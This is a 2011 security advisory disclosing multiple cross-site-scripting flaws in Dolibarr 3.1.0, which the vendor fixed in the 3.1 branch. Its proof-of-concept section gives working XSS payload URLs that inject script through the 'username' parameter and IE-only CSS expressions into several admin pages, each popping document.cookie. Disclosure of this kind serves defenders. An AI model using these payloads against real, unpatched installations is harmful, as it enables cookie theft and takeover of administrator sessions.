Multiple Cross-Site-Scripting vulnerabilities in Dolibarr 3.1.0

[security () infoserve de]

Advisory:               Multiple Cross-Site-Scripting vulnerabilities in Dolibarr 3.1.0
Advisory ID:            INFOSERVE-ADV2011-03
Author:                 Stefan Schurtz
Contact:                security () infoserve de
Affected Software:      Successfully tested on Dolibarr 3.1.0 other versions may also be affected
Vendor URL:             http://www.dolibarr.org/
Vendor Status:          fixed in the 3.1 branch

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Vulnerability Description
==========================

Dolibarr 3.1.0 is prone to multiple XSS vulnerability

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PoC-Exploit
==================

Cross-Site-Scripting - parameter 'username'

http://<target>/admin/company.php?mainmenu=home&leftmenu=setup&username='"</script><script>alert(document.cookie)</script>
http://<target>/admin/company.php?mainmenu=home&leftmenu=setup&username='"</script><script>alert(document.cookie)</script>&=3&optioncss=print

IE-only

http://<target>/admin/security_other.php/" stYle="x:expre/**/ssion(alert(document.cookie))
http://<target>/admin/events.php/" stYle="x:expre/**/ssion(alert(document.cookie))
http://<target>/admin/user.php/" stYle="x:expre/**/ssion(alert(document.cookie))

=========
Solution:
=========

Fixed in the 3.1 branch

====================
Disclosure Timeline:
====================

08-Nov-2011 - vendor informed
09-Nov-2011 - vendor fix in the 3.1 branch
 
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Credits:
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Vulnerabilities found and advisory written by INFOSERVE Security Team

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References:
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https://doliforge.org/tracker/?func=detail&aid=232&group_id=144
https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1
http://www.dolibarr.org/
http://www.infoserve.de/